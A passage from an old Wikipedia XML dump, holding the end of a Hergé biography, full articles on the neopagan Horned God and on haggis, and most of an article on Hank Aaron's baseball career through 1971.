Published in ''Tintin magazine'' from September [[1958]] to November [[1959]], ''Tintin in Tibet'' sent Tintin to the [[Himalaya]] in search of [[Chang Chong-Chen]], the Chinese boy he had befriended in ''[[The Blue Lotus]]''. The adventure allowed Hergé to confront his nightmares by filling the book with austere [[Alpine climate | alpine]] landscapes, giving the adventure a powerfully spacious setting. The normally rich cast of characters was pared to a minimum - Tintin, Captain Haddock, and the [[Sherpa (people)|sherpa]] Tharkey - as the story focused on Tintin's dogged search for Chang. Hergé came to regard this highly personal and emotionally riveting Tintin adventure as his favorite. The completion of the story seemed also to signal an end to his problems: he was no longer troubled by nightmares, divorced Germaine in [[1975]] (they had separated in [[1960]]), and finally married Fanny Vlaminck in [[1977]].

===Last years===
The last three complete Tintin adventures, were produced at a much reduced pace: ''[[The Castafiore Emerald]]'' in [[1961]], '' [[Flight 714]]'' in [[1966]], and ''[[Tintin and the Picaros]]'' only in [[1975]]. However, by this time Tintin had begun to move into other media. From the start of ''Tintin magazine'', Raymond Leblanc had used Tintin for merchandising and advertisements. In [[1961]], the first Tintin [[film|movie]] was made: ''[[Tintin and the Golden Fleece]]'', starring Jean-Pierre Talbot as Tintin. Several Tintin [[animation|animated cartoons]] have also been made, beginning with ''Prisoners of the Sun'' in [[1969]].

Tintin's financial success allowed Hergé to devote more of his time to travel. He travelled widely across [[Europe]], and in [[1971]] visited [[United States|America]] for the first time, meeting some of the [[Native Americans in the United States|Native Americans]] whose culture had long been a source of fascination for him. In [[1973]], he visited [[Taiwan]], accepting an invitation offered three decades ago by the [[Kuomintang]] government, in appreciation of ''[[The Blue Lotus]]''.

In a remarkable instance of life mirroring art, Hergé managed to resume contact with his old friend [[Chang Chong-jen]], years after Tintin rescued the fictional [[Chong-chen Chang]] in the closing pages of ''[[Tintin in Tibet]]''. Chang had been reduced to a street sweeper by the [[Cultural Revolution]], before becoming the head of the Fine Arts Academy in [[Shanghai, China|Shanghai]] during the [[1970s]]. He returned to Europe for a reunion with Hergé in [[1981]], and he would settle in Paris in [[1985]], where he died in [[1998]].

Hergé died on [[March 3]], [[1983]], aged 75, due to complications arising from [[anemia]], which he had suffered from for several years.

He left the twenty-fourth Tintin adventure, '' [[Tintin and Alph-Art]]'', unfinished. Following his expressed desire not to have Tintin handled by another artist, it was published posthumously as a set of sketches and notes in [[1986]]. In [[1987]], Fanny closed the Hergé Studios, replacing it with the Hergé Foundation. In [[1988]], ''Tintin magazine'' was discontinued.

A cartoon version of Herg&amp;eacute; makes a number of cameo appearances in [[Ellipse Programme|Ellipse]]-[[Nelvana]]'s ''[[The Adventures of Tintin (TV series)|The Adventures of Tintin]]'' [[animated series|TV cartoon series]].

==External links==
*[http://www.tintinologist.org/guides/herge/index.html Hergé - a mini profile and timeline]
*[http://www.free-tintin.net/english/herge.htm Discover Tintin]
*[http://www.tintinologist.org/ Tintinologist.org - A famous Tintin fansite]
*[http://www.amazon.com/exec/obidos/search-handle-url/index=books&amp;field-author=Herge Query Amazon for Herge: over 500 items]

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  <page>
    <title>Horned God</title>
    <id>14318</id>
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      <id>42113162</id>
      <timestamp>2006-03-03T22:29:56Z</timestamp>
      <contributor>
        <username>Retodon8</username>
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      <comment>Shortened links a tiny bit (I thought there were more).</comment>
      <text xml:space="preserve">[[Image:Gundestrup_A.jpg|thumb|300px|A depiction of [[Cernunnos]] appears on the [[Gundestrup cauldron]].]] 
'''The Horned God''' is a modern [[syncretism|syncretic]] term used amongst [[Wiccan]]-influenced [[Neopagan]]s, which unites numerous male [[nature god]]s out of such widely-dispersed and historically unconnected [[mythology|mythologies]] as the [[Celtic mythology|Celtic]] [[Cernunnos]], the [[Welsh mythology|Welsh]] [[Caerwiden]], the [[English mythology|English]] [[Herne the Hunter]], the [[Hinduism|Hindu]] [[Pashupati]], the [[Greek mythology|Greek]] [[Pan (god)|Pan]] and the [[satyr]]s, and even the [[Paleolithic]] cave painting &quot;the Sorcerer&quot; in the Cave of the Three Brothers in France.

A number of related British folk figures have been incorporated as well: [[Puck (mythology)|Puck]], [[Robin Goodfellow]], and the [[Green Man]].

==Development of an idea==
[[Image:Baphomet.png|thumb|right|[[Eliphas Levi]]'s illustration of [[Baphomet]], in his ''Dogme et Rituel de la Haute Magie'', 1855, accompanied the first modern suggestion of an ancient horned god driven underground by the spread of Christianity.]] 

The idea that all such horned images were of deities and that they represented manifestations of a single Horned God, and that [[Christianity]] had attempted to suppress his worship by associating him with [[Satan]], developed in the fashionable 19th-century [[Occult]]ist circles of England and France. [[Eliphas Levi]]'s famous illustration (''right'') of [[Baphomet]] in his ''Dogme et Rituel de la Haute Magie'' (1855) accompanied the first suggestions to this effect. Levi's image of &quot;Baphomet&quot; is reflected in most depictions of the Devil made since. Symbolism is drawn from the ''[[The Devil (Tarot card)|Diable]]'' card of the 17th and 18th century [[Tarot of Marseille]]: the bat-winged, horned and hoofed figure with female [[breast]]s, perched upon a globe; Levi added the [[caduceus]] of Mercury at his groin, moved the flaming torch to crown his head and had him gesture towards [[moon (mythology)|lunar crescents]] above and below.

Sacred horned or antlered animals that signalled the numinous presence of a deity were ubiquitous in the ancient world, and certain scholars have criticised worshippers who blur &quot;the very important distinctions between a god named, described, represented, and worshipped in animal form, a real animal worshipped as a god, animal symbols and animal masks in the cult, and finally the consecrated animal destined for sacrifice.&quot; (Burkert 1985 p 64). Many [[bull (mythology)|sacred bulls]] and goats, [[deer (mythology)|sacred stags]] and ibexes serve as examples. Not all horned gods and their priests were male; [[Astarte]] and [[Isis]] (borrowing an attribute from [[Hathor]]), for example, were sometimes depicted with horns. 

It was not an evil figure, Levi contended, but a god of the old world, driven underground and condemned as a figure of witchcraft by hostile Christianity. Figures such as [[Aleister Crowley]] and [[Margaret Murray]] took up this suggestion and blended it with an adaptation of [[cultural anthropology|cultural anthropologies]] such as that of [[James Frazer]]. Where Frazer saw modern folklore and folk customs as the echoes of forgotten agricultural rituals, authors such as Murray and other members of the [[Folklore Society]] saw an esoteric fertility cult, a secret tradition driven underground and suppressed (see [[Burning Times]]) by Christianity. Margaret Murray suggested that Christian reports of witches meeting in the woods with Satan were actually pagans with their priest wearing a horned helmet to invoke their Horned God (Murray 1921). These themes shaped the modern concept of the Horned God revered by neopagans today, which the remainder of this article will describe.

*[[Walter Burkert|Burkert, Walter]], ''Greek Religion'' 1985.
*[[James Frazer|Frazer, James]], ''[[The Golden Bough]]''
*[[Margaret Murray|Murray, Margaret]], ''God of the Witches'' 1933.
*Murray, Margaret, ''The Witch-Cult in Western Europe'' 1921.

==Associations==
The Horned God is associated with [[woods]], [[wild animal]]s, and [[hunting]]. He is often also associated with [[sexuality]] or [[virility|male virility]]. As a symbol of sexuality, the Horned God represents one of the most elemental forces in Nature, and is therefore complementary to female fertility deities known collectively as the [[goddess|Great Mother]]. 

Another name for the Horned God is The Hunter. He is a symbol not only of the giving of life, but the taking of life too, in what is seen as a great and eternal cycle of birth, death, and rebirth. He sometimes carries a bow.

==Image==
The Horned God is always portrayed with [[horn (anatomy)|horns]] or [[antler]]s, which are of course his distinguishing feature. The God's horns are considered symbols of male potency, strength and protection. Sometimes they are seen in a sense as [[phallic symbol]]s. The horn has been a religious symbol for thousands of years. An altar made entirely of [[stag]] horns was built in the temple of [[Apollo (god)|Apollo]] at [[Delos]], and temples to the Goddess [[Diana (goddess)|Diana]] usually contained horns as well. The horn is also seen as a symbol of fruitfulness and bounty, as in the [[Horn of Plenty]].

He is often portrayed with an erect [[phallus]]. The phallus is itself a symbol of the power to create life. Another symbol of his sexual prowess and virility is the occasional presence of cloven hoofs or the hindquarters of a [[goat]]. The goat itself is considered a symbol of sexuality.

==Satan==
During the rise of [[Christianity]], a depiction of [[Satan]] as a horned and hoofed goat-like monster holding a [[trident]], adopted from Greek [[Pan (god)|Pan]], became popular. By adopting the image of the Horned God and transforming it into an image of the [[Devil]], the Christian church convinced people that [[paganism]] was [[evil]]. The similarity does not extend beyond the image, of course; while [[Judeo-Christian]] Satan is described as a fallen angel and essentially Evil, the pagan Horned God is believed to be a force of nature, neither entirely benevolent nor entirely malevolent: In his role as Father, he is said to give life, but in his role as Hunter, he is also said to take life. Positive aspects of the Horned God are re-attributed to Satan by the [[Church of Satan]] and similar branches of modern [[Satanism]].

==Post Christian depictions==
Belief in and worship of the Horned God waned almost to extinction by the [[19th century]], although vestiges remained in local customs, particularly in the countryside. Ghost stories of [[Herne the Hunter]] and reverence of [[St. Cornus]] would be the strongest pre-wiccan remnants of the Horned God. He makes a late appearance in art referred to in the moonlit last act of [[Giuseppe Verdi|Verdi]]'s final opera, ''[[Falstaff (opera)|Falstaff]]''.

==Wicca==
[[Gerald Gardner]] began [[Wicca]] in [[England]] as what he saw as a revival of ancient [[Paganism|Pagan]] worship, focused on the duality of the Great God and the Great Mother. It should be noted, however, that Wicca is little based on historical findings and is mixture of many influences from Gardner's time, instead of being a reconstruction of any one culture or religion. Today [[Wicca]] and other [[Neopaganism|Neopagan]] religions claim about 1,000,000 adherents.

In modern [[Wicca]], &quot;The Horned God&quot; can refer to any of these individually, or to the universal archetype Wiccans believe they represent. In this context, he is sometimes referred to as the &quot;Great God&quot; or the &quot;Great Father&quot;. He impregnates the Goddess, and then dies during the autumn and winter months and is reborn in spring, while the Goddess lives on always as Mother Earth, giving life to the Horned God as he goes through the eternal cycle of life, death, and rebirth.

==See also==
*[[Horned helmet]]
*[[Gundestrup cauldron]]

==References==
*Juliette Wood, &quot;The Celtic Tarot and the Secret Traditions: A Study in Modern Legend Making&quot;: ''Folklore'', Vol. 109, 1998
*[[Walter Burkert]], ''Greek Religion'' 1977 (1985) Cambridge:Harvard University Press)

[[Category:Hunting gods]]
[[Category:Nature gods]] 

[[da:Den Hornede Gud]]
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  <page>
    <title>Haggis</title>
    <id>14320</id>
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      <comment>Reverted edits by [[Special:Contributions/207.255.207.19|207.255.207.19]] ([[User talk:207.255.207.19|talk]]) to last version by Mais oui!</comment>
      <text xml:space="preserve">[[Image:HaggisUncooked_CopyrightKaihsuTai.JPG|thumb|an uncooked small haggis]]
[[Image:HaggisCooked_CopyrightKaihsuTai.JPG|thumb|a cooked small haggis]]
[[Image:HaggisContent_CopyrightKaihsuTai.JPG|thumb|content of a haggis]]

'''Haggis''' is a traditional [[Scotland|Scottish]] dish.  Although there are many recipes, it is normally made with the following ingredients: [[sheep]]'s '[[Offal|pluck]]' ([[heart]], [[liver]], [[trachea|windpipe]] and [[lung]]s), minced with [[onion]], [[oatmeal]], [[suet]], [[spice]]s, and [[edible salt|salt]], mixed with [[Stock (food)|stock]], and traditionally [[boil]]ed in the animal's [[stomach]] for approximately an hour.  It somewhat resembles other stuffed [[intestine]]s (otherwise known as [[sausage]]s) of which it is among the largest types.  There are also meat-free recipes specifically for [[vegetarian]]s which supposedly taste similar to the meat-based recipes.

Haggis is traditionally served with &quot;neeps and tatties&quot; ([[Scots language|Scots]]: ''[[turnip]] and [[potatoes]]''). Both the turnip (equivalent of a 'swede' in [[England]] or 'rutabaga' in the [[United States]]) and the potatoes are [[Mashed potato|mash]]ed, separately.

==Etymology==
The [[etymology]] of the word ''haggis'' is unclear, although ''haggis'' was a more common word in [[Middle English]], from which the [[Scots language]] (and the [[English language]]) evolved. Most theories trace it to words meaning &quot;to chop&quot; or &quot;to hew&quot;, but there is no agreement whether the word was borrowed from [[Old English]] ''haggen'' [http://www.etymonline.com/index.php?term=haggis], [[French language|French]] ''hachis''[http://www.standrews.com/burns/HERALDWRITINGS/feature13.html], or a [[Norse language|Norse]] root, such as [[Icelandic language|Icelandic]] ''hoggva-'' and ''haggw-'' (Dickson-Wright 9). Along a different line, it may derive from [[Old French]] ''agace'', &quot;magpie&quot;&amp;mdash; the [[magpie]] is known for collecting odds and ends, and a haggis is made up of odds and ends.[http://www.etymonline.com/index.php?term=haggis] 

==History and popularity==
It is unknown when or where the first haggis was consumed. The most likely origin of the dish is from the days of the old Scottish [[cattle drovers]].  When the men left the [[Scottish Highlands|highlands]] to drive their cattle to [[market]] in [[Edinburgh]] the women would prepare rations for them to eat during the long journey down through the [[glen]]s.  They used the ingredients that were most readily available in their homes and conveniently packaged them in a sheeps stomach allowing for easy transportation during the journey.

Another theory, put forward by food historian [[Clarissa Dickson-Wright]], is that haggis was invented as a way of cooking quick-spoiling offal near the site of a hunt, without the need to carry along an additional cooking vessel. The liver and kidneys could be [[grill]]ed directly over a fire, but this treatment was unsuitable for the stomach, intestines, or lungs. Chopping up the lungs and stuffing the stomach with them and whatever fillers might have been on hand, then boiling the assembly &amp;mdash; likely in a vessel made from the [[animal's hide]] &amp;mdash; was one way to make sure these parts did not go to waste. (Dickson-Wright 12).  

==Modern usage==
[[Image:BobPurdieAddressingHaggis20040124CopyrightKaihsuTai.jpg|right|thumb|Recitation of the poem '[[Address to a Haggis]]' by [[Robert Burns]] is an important part of the [[Burns supper]].]]
Haggis is traditionally served with the [[Burns supper]] on [[January 25]]th, when [[Scotland]]'s [[national poet]], [[Robert Burns]], is commemorated. He wrote the poem [[Wikisource:Address to a Haggis|Address to a Haggis]], which starts &quot;Fair fa' your honest, sonsie face, Great chieftain o' the puddin-race!&quot;  During Burns' lifetime haggis was a popular dish for [[Poverty|the poor]], since it made use of parts of a sheep that would otherwise have been wasted.

Haggis is widely available in supermarkets in Scotland all the year round, and the cheaper brands are normally packed in artificial casings, rather than stomachs, just as the cheaper brands of sausages are no longer stuffed into animal intestines. Sometimes it is sold in tins and you can simply microwave it or oven-bake it. Some supermarket haggis is largely made from pig's, rather than sheep's, offal. In addition, practically all Scottish [[fish and chip shops]] will sell their customers a 'haggis supper'.  This consists of a small single portion haggis dipped in batter and deep fried, with chips; it provides a hot, filling, high-energy meal for a cold winter's day.  There are also fast-food shops that sell haggis burgers, with a patty of fried haggis on a bun.

==Odd Facts and pop culture==
Since many countries' food safety laws outlaw some of the ingredients in haggis (for example, [[United States]] law forbids the sale of any animal's lungs for human consumption), [[expatriate]] Scots and [[Scots descendants]] overseas have been known to engage in 'haggis [[smuggling]]' to obtain true Scottish haggis. At least one American company produces haggis for the U.S. market. The Caledonian Kitchen, a [[Dallas]], [[Texas]] based gourmet business, began producing both a [[Highland beef]] and vegetarian haggis commercially in 1999. Its haggis is in wide distribution throughout the US.[[Image:hag.jpg|thumb|large haggis]]

==Entertainment==
Haggis is an amusing subject for many people. Those who ask a Scotsman for information about it will rarely get a straight answer. A common &quot;answer&quot; to the question &quot;What is a haggis?&quot; often goes along the following lines.  &quot;A haggis is a small four-legged Scottish Highland creature, which has the limbs on one side shorter than the other side.  This means that it is well adapted to run around the hills at a steady altitude, without either ascending or descending.  However a haggis can easily be caught by running around the hill in the opposite direction.&quot; (see [[Wild Haggis]]) Surprisingly the humorous myth is believed by many tourists, thus they are shocked - and possibly disappointed -  to hear the truth.  See also [[sidehill gouger]].

Haggis is also used in a sport called [[haggis hurling]], involving throwing a haggis as far as possible.  The present World Record for Haggis Hurling has been held by Alan Pettigrew for over 21 years. He threw a 1.5 lb Haggis an astonishing 180 feet, 10 inches on the island of [[Inchmurrin]], [[Loch Lomond]], in August 1984.

Haggis [[juggling]] is an unusual competition that takes place at the Scottish Juggling Convention each year, with competitors competing for how long they can [[juggling|juggle]] three, four, or five large haggis.

'Haggis' is an uncommon surname, such as for the animator/games programmer [[Mata Haggis]], creator of the [[Matazone]] website known as [http://www.matazone.co.uk The Other Side], or the screen writer [[Paul Haggis]], known for his work on [[Million Dollar Baby]], [[Due South]], [[Thirtysomething]], and other film and television series. In names it may come from [[Old English]], meaning 'a woodsman's hut', and a Lord Haggis rode on the [[third crusade]] with [[Richard the lionheart]].

==Similar dishes==
In some ways, the northeastern [[U.S.]] dish [[scrapple]] resembles haggis, however scrapple differs in the following ways: it uses [[pig]] [[offal]] instead of sheep offal and [[cornmeal]] instead of oatmeal; it is a [[meat loaf]] rather than a sausage; and it is [[bake]]d instead of being boiled. As a result, the appearance and the flavour vary significantly. So the resemblance lies more in the fact that it is a combination of offal, grain and vegetables than in any specific ingredient or cooking style.

Other similar dishes are the [[balkenbrij]] from [[the Netherlands]], [[pölsa]] (made with beef rather than sheep) from [[Sweden]] and [[saumagen]] (made from pork) from Western [[Germany]].

==References==
* {{cite book | authorlink = Clarissa Dickson-Wright | last = Dickson-Wright | first =  Clarissa | title = The Haggis: A Little History | publisher = Pelican Publishing Company | year = 1998 | id = ISBN 1-56554-364-5 }}

==See also==
* [[Haggis McLeod]]

== External links ==
{{commonscat|Haggis}}
{{wikibooks|Haggis}}
{{Wikisourcepar|Address to a Haggis}}

* [http://travel.guardian.co.uk/news/story/0,7445,1093930,00.html Belief in the Wild Haggis] 
* [http://www.haggishunt.com/ Hunting for haggis]
* [http://www.caledoniankitchen.com/ Highland Beef Haggis]
* [http://www.holistech.co.uk/haggis.php Haggis Hurl]

[[Category:Scottish cuisine]]
[[Category:Sausages]]
[[Category:Puddings]]
[[Category:Peasant foods]]
[[Category:Offal]]
[[Category:Scottish cultural icons]]

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  <page>
    <title>Hank Aaron</title>
    <id>14321</id>
    <revision>
      <id>41918952</id>
      <timestamp>2006-03-02T16:47:58Z</timestamp>
      <contributor>
        <username>Djrobgordon</username>
        <id>234424</id>
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      <comment>rv nonsense</comment>
      <text xml:space="preserve">{{Infobox baseball player | name=Henry Louis &quot;Hank&quot; Aaron| image name= HankAaron3.jpg
| nicknames= [[&quot;Hammerin' Hank&quot;, &quot;Bad Henry&quot;]]
| birthdate= [[February 5]], [[1934]]
| birthplace= [[Mobile, Alabama]]
| dead=alive
| deathdate=
| deathplace=
| debutdate=[[April 13]], [[1954 in sports|1954]]
| debutteam=[[Milwaukee Braves]]
| debutopponent=[[ Cincinnati Reds]]
| debutstadium=[[Crosley Field]]
| teams='''As Player'''&lt;BR&gt;
[[Milwaukee Braves]] ([[1954 in sports|1954]] – [[1965 in sports|1965]])&lt;BR&gt;
[[Atlanta Braves]] ([[1966 in sports|1966]] –[[1974 in sports|1974]])&lt;BR&gt;
[[Milwaukee Brewers]] ([[1975 in sports|1975]] – [[1976 in sports|1976]])
| HOFer=HOFer
| inductiondate=[[August 1]], [[1982 in sports|1982]]
| careerhighlights=&lt;BR&gt;
* [[List of lifetime home run leaders through history|Most career home runs]] (755)
* Most career RBI (2,297)
* Most career extra base hits (1,477)
* Most career total bases (6,856)
* Second in career runs (2,174)
* Second in at-bats (12,364)
*[[List of major league players with 2,000 hits|Third in career hits]] (3,771)
* Only player to hit at least 30 home runs in 15 seasons
* Only player to hit at least 20 home runs in 20 seasons
* Hit 40 home runs in a season 8 times
* First player to reach 3,000 hits and 500 home runs
* 25 [[Major League Baseball All-Star Game|All-Star]] appearances
* The NL [[MLB Most Valuable Player award|MVP Award]] ([[1957 in sports|1957]])
* One [[World Series]] ring ([[1957 in sports|1957]])
* Three Gold Gloves ([[1958 in sports|1958]] - [[1960 in sports|1960]])
* Led NL in home runs 4 times
* Led NL in RBI 4 times
* Led NL in batting 2 times}}

'''Henry Louis &quot;Hank&quot; Aaron''' (born [[February 5]], [[1934]] in [[Mobile, Alabama|Mobile]], [[Alabama]], [[United States]]), is an American [[baseball]] player and member of the [[Baseball Hall of Fame]].  Aaron is best known for setting the [[Major League Baseball|Major League]] record for most [[home run]]s in a career (755), surpassing the previous mark of 714 by [[Babe Ruth]].  Aaron also holds the career marks for [[RBI]] (2,297), extra base hits (1,477) and total bases (6,856). He won one [[World Series]] ring with the [[Milwaukee Braves]] in [[1957 in sports|1957]], and the National League [[MLB Most Valuable Player award|Most Valuable Player]] Award the same year. He also earned three [[Gold Glove Award]]s, and made 21 [[Major League Baseball All-Star Game|All-Star]] appearances.  

==Pre-professional career==

Henry Louis Aaron was born in a part of [[Mobile, Alabama]] called [[Down The Bay]].  It was a poor area of town populated mostly by [[minorities]].  His family later moved to a better part of Mobile called [[Toulminville]], where he was brought up and attended school.  In [[Central High School]], Aaron played [[shortstop]] and [[third base]] and was an outstanding hitter though he batted cross-handed.  His team won the [[Negro High School Championship]] two years running. In high school, he also excelled in [[American football|football]].  

Aaron's last two years of high school were spent at [[Josephine Allen Institute]], a private high school.  Aaron was so proficient a ballplayer at this young age that before his fifteenth birthday he was playing on a semi-pro team, the [[Pritchett Athletics]], as their shortstop and third baseman.  He made $3 a game.  He tried out for the [[Brooklyn Dodgers|Dodgers]] but did not get to show his abilities to the scouts there. He then started playing with the semi-pro [[Mobile Black Bears]] for $10 a game. 

His mother wanted Aaron to attend college in [[Florida]].  But with the promise to finish high school, on [[November 20]], [[1951 in sports|1951]] he was signed by scout [[Ed Scott]] to play for the [[Negro American League]] champion [[Indianapolis Clowns]] after the Black Bears played an exhibition against the Clowns the previous year. Aaron helped lead the Clowns to victory in the [[1952 in sports|1952]] [[Negro League World Series]].

==Professional career==
===Minor leagues===
On [[June 14]], [[1952 in sports|1952]] Aaron's contract was acquired by the [[Boston Braves]] for $10,000. He was the last Negro League player to make the jump to the major leagues. Aaron was assigned to the Braves' Class C farm club, the [[Eau Claire Bears]], in [[Eau Claire, Wisconsin|Eau Claire]], [[Wisconsin]] where he played second base. He got two line drive singles in his first game and ended the season batting .326, and won the [[Northern League]]'s Rookie of the Year. He earned $350 a month. In [[1953 in sports|1953]], Aaron, along with [[Horace Garner]] and [[Felix Mantilla]], was sent to the [[Jacksonville Tars]] to break the color line in the [[South Atlantic League]]. Despite enduring non-stop [[Racism|racial epithets]] and [[Hate crime|threats]], Aaron led the league in runs (115), hits (208), doubles (36), RBI (115), and batting average (.362) to become the league's Most Valuable Player. One writer said, &quot;Henry Aaron led the league in everything except hotel accommodations&quot;.

To prepare for the big leagues, Aaron played winter ball in Puerto Rico and learned to play the outfield.  On [[March 13]], [[1954 in sports|1954]], Braves left fielder [[Bobby Thomson]] broke his ankle sliding into second base during a spring training game.  The next day Aaron made his first spring training start for the Braves in left field and hit a home run.

===Major leagues===
====The early years====
[[Image:Hankaaron-young.jpg|frame|left|Hank Aaron team portrait]]
On [[April 13]], [[1954 in sports|1954]], Aaron made his major league debut and went 0-for-5 against the [[Cincinnati Reds]]' [[Joe Nuxhall]].  In the same game, Aaron's teammate, [[Eddie Mathews]] hit two home runs, the first two of a record 863 home runs the pair would hit as teammates.  On [[April 15]], [[1954 in sports|1954]] Aaron got his first major league hit, a single off of [[St. Louis Cardinals|Cardinals]] pitcher [[Vic Raschi]].  Aaron hit his first Major League home run on [[April 23]], [[1954 in sports|1954]] off of Raschi. Over the next 122 games, Aaron batted .280 (he would not hit that low again until [[1966 in sports|1966]]) with 13 homers (he wouldn't go below 20 for the next 20 years) before suffering a broken ankle on [[September 5]]. 

In the following season, Aaron was moved to [[right field]], where he played for most of his career, winning three Gold Gloves.  [[1955 in sports|1955]] also saw the first of a record-tying 24 [[Major League Baseball All-Star Game|All-Star Games]] for Aaron &amp;ndash; only [[Willie Mays]] and [[Stan Musial]] appeared in as many All-Star Games.  On [[June 24]], [[1955 in sports|1955]], Aaron became the first strike out victim of the [[Brooklyn Dodgers]]' future Hall of Famer, [[Sandy Koufax]].  Koufax came on in relief for the Dodgers on [[Milwaukee]]'s [[County Stadium]], pitching two shutout innings and fanning two.  Aaron finished the season batting .314 with 27 home runs and 106 RBI.

[[1956 in sports|1956]] saw Aaron hit .328 to win the first of two [[National League|NL]] batting titles.  He is also named [[Sporting News|The Sporting News]]' NL Player of the Year. Two changes were made in [[1957 in sports|1957]] that had a profound effect on Aaron.  First, he went from second in the batting order to fourth, behind [[Eddie Mathews]] instead of in front of him, and, second, he switched from a 36-ounce bat to a 34-ounce model.  Aaron responded by leading the league with 44 home runs, a career-high 132 RBI, batted .322 and won his only NL [[MLB Most Valuable Player award|MVP Award]].  During a game on [[August 15]]th, Aaron belted his 100th major league home run off of the Reds' [[Don Gross]].  On [[September 23]], [[1957 in sports|1957]], Aaron had what he called the best moment of his career.  Aaron drilled a pitch from the [[St. Louis Cardinals|Cardinals]]' [[Billy Muffett]] for a two-run homer in the 11th inning of a game.  It clinched the Braves' first pennant in Milwaukee and Aaron was carried off the field by his teammates.  That year, Milwaukee registered its only [[World Series]] victory behind right-handed pitcher [[Lew Burdette]], who defeated the [[New York Yankees|Yankees]] three times.  Aaron did his part by hitting .393 with three homers and seven RBI.

====The chase is on====
Aaron had another spectacular year in [[1958 in sports|1958]] by hitting .326, with 30 home runs and 95 RBI.  He led the Braves to another pennant, but this time they lost a seven-game Series to the Yankees.  Aaron picked up his first Gold Glove and finished 3rd in MVP voting.  Hall of Famer [[Don Drysdale]] served up the first of seventeen home runs to Aaron on [[June 29]], [[1958 in sports|1958]] – more than any other pitcher.

On [[June 21]], [[1959 in sports|1959]] Aaron had a single most productive day as a hitter.  Against the [[San Francisco Giants]], he hit two-run home runs in the 1st, 6th and 7th inning off of [[Johnny Antonelli]], [[Stu Miller]] and [[Gordon Jones]].  It was the only time in his career that he would hit three homers in a game.  Exactly one month later, on [[July 21]], Aaron appeared on the television show &quot;Home Run Derby.&quot;  He was paid $30,000 for his appearance – almost as much as his annual salary.  The prize money encouraged Aaron to change his approach in hitting and swing for more homers.  Aaron defended his decision by saying, &quot;I noticed that they never had a show called &quot;Singles Derby&quot;.  [[Eddie Mathews]] led the league in home runs with 46 and Aaron led the league in hitting with a .355 average and finished 3rd in MVP voting.

[[July 3]], [[1960 in sports|1960]] saw Aaron hit his 200th home run off of the [[St. Louis Cardinals|Cardinals]]' [[Ron Kline]] at [[Sportsman's Park]].  On [[June 8]], [[1961 in sports|1961]], Aaron, [[Eddie Mathews]], [[Joe Adcock]] and [[Frank (Joseph) Thomas|Frank Thomas]] became the first four players ever to hit successive home runs in a game.  Aaron and Mathews went back to back off of [[Cincinnati Reds|Reds]]' pitcher [[Jim Maloney]].  Adcock and Thomas hit theirs off of reliever [[Marshall Bridges]].  Despite the unprecedented feat, the Braves lost the game 10-8.

On [[June 18]], [[1962]], Aaron hit what most consider to be the longest home run of his career -- a 470-foot shot to straight-away center at the [[Polo Grounds]] in [[New York City]].  Only two other players ever hit a ball there &amp;ndash; [[Joe Adcock]] in [[1953 in sports|1953]] and [[Lou Brock]], who oddly did it the day before Aaron.  On [[April 19]], [[1963 in sports|1963]] he hit his 300th home run off of the [[New York Mets|Mets]]' [[Jay Hook]].  Aaron just missed winning the triple crown in [[1963 in sports|1963]] by leading the league with 44 home runs and 130 RBI.  He finished .007 percentage points behind [[Tommy Davis]] in batting.  Aaron became the 3rd member of the [[30-30 club]] behind [[Ken Williams (baseball player)|Ken Williams]] and [[Willie Mays]].  He again finished 3rd in the MVP voting.

On [[September 20]], [[1965]], Aaron hit the last home run by a Milwaukee Braves player at Milwaukee County Stadium.  It came off [[Ray Culp]] of the [[Philadelphia Phillies|Phillies]].  The Braves moved to Atlanta the following season and made [[Atlanta-Fulton County Stadium|Fulton County Stadium]] their new home.  Aaron's home run output increased due to the hitter friendly park &amp;ndash; later nicknamed &quot;The Launching Pad&quot;.

Aaron hit his 400th home run on [[April 20]], [[1966 in sports|1966]] off [[Bob Priddy]] of the [[San Francisco Giants]].  On [[August 23]] he homered to set a major league record with [[Eddie Mathews]] for most career home runs by teammates (863).  The first two batters faced by [[Nolan Ryan]] in his career were Mathews and Aaron, on [[September 11]], [[1966 in sports|1966]].  Neither of them struck out against Ryan.

In the first game of a [[double header]] against the [[Philadelphia Phillies|Phillies]] on [[May 10]], [[1967 in sports|1967]], Aaron hit his only [[Inside-the-park home run|inside the park home run]] off [[Jim Bunning]].  Aaron hit a conventional home run in the second game of the double header off of [[Larry Jackson]].

Aaron hit his 500th home run on [[July 14]], [[1968 in sports|1968]] off [[Mike McCormick]] of the [[San Francisco Giants]] at [[Atlanta-Fulton County Stadium|Fulton County Stadium]].  Aaron was just the 8th player to reach the milestone and he did it exactly one year after his former teammate [[Eddie Mathews]] did it with the [[Houston Astros]].  At the time, Aaron was the second youngest player to ever do so at 34 years, five months and nine days, a year and a half older than the youngest player to do so, [[Jimmie Foxx]].

On [[July 30]], [[1969 in sports|1969]] Aaron hit his 537th home run to move into 3rd place on the career home run list, past [[Mickey Mantle]] and behind only [[Willie Mays]] and [[Babe Ruth]].  The Braves marked the first year of division play by winning the West.  The Braves were fifth place on [[August 19]], but outplayed the [[San Francisco Giants|Giants]] and [[Cincinnati Reds|Reds]] down the stretch to win the division.  Aaron slugged 44 homers and knocked in 97 runs.  The Braves lost to the Miracle [[New York Mets|Mets]] in the playoffs, three games to none.  Aaron and brother [[Tommie Aaron|Tommie]] were the first siblings to appear in a League Championship series together as teammates.  Aaron finished 3rd in MVP voting.

Aaron got his 3,000th career hit off of [[Cincinnati Reds|Reds]]' [[Wayne Simpson]] on [[May 17]], [[1970 in sports|1970]] with a single in the second game of a doubleheader at Cincinnati's Crosley Field, becoming the first player to reach that milestone and hit 500 career home runs.  On [[July 31]], he hit a home run against [[Dave Guisti]] of the [[Pittsburgh Pirates|Pirates]] in Atlanta for this 30th homer of the season, establishing a National League record for most seasons with 30 or more homers (12).

[[1971 in sports|1971]] saw several milestones for Aaron.  On [[April 27]] he hit his 600th career homer off the [[San Francisco Giants]]' [[Gaylord Perry]] in [[Atlanta]].  The greatest home run hitter slugged two homers off the greatest [[strikeout]] [[pitcher]], [[Nolan Ryan]], the first of which was on [[May 21]], [[1971 in sports|1971]], in [[Shea Stadium]].  On [[July 31]] Aaron homered in an [[Major League Baseball All-Star Game|All-Star Game]] for the first time, connecting off [[Vida Blue]] in [[Detroit]].  He hit his 40th home run of the season against the [[San Francisco Giants|Giants]]' [[Jerry Johnson]] on [[August 10]], establishing a National League record for most seasons with 40 or more home runs (seven).  On [[September 21]], Aaron homered against the [[San Diego Padres|Padres]]' [[Jay Franklin]] for his 46th home run of the season &amp;ndash; a new career high.  Five days later, he hit his 47th home run, the most he hit in a season. He finished 3rd in MVP voting for the 6th time in his career.

